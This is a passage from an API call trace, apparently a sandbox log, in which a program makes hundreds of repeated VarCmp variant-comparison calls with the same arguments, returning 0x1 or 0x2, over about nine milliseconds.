dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.182] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.183] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.184] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.185] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.186] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.187] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.188] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.189] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 